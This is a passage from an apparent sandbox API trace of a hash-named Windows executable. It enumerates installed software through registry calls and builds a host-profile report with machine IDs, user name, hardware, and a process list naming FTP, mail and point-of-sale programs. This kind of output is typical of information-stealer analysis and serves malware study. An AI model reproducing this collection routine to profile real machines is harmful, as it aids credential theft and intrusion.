[3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\n"
[0054.957] RegCloseKey (hKey=0x514) returned 0x0
[0054.957] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1d, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.957] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 90
[0054.957] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.957] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x1816c0*=0x2a) returned 0x0
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\n", lpString2="Microsoft Visual C++ 2005 Redistributable" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable"
[0054.957] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="8.0.61001", lpcbData=0x1816c0*=0xa) returned 0x0
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe 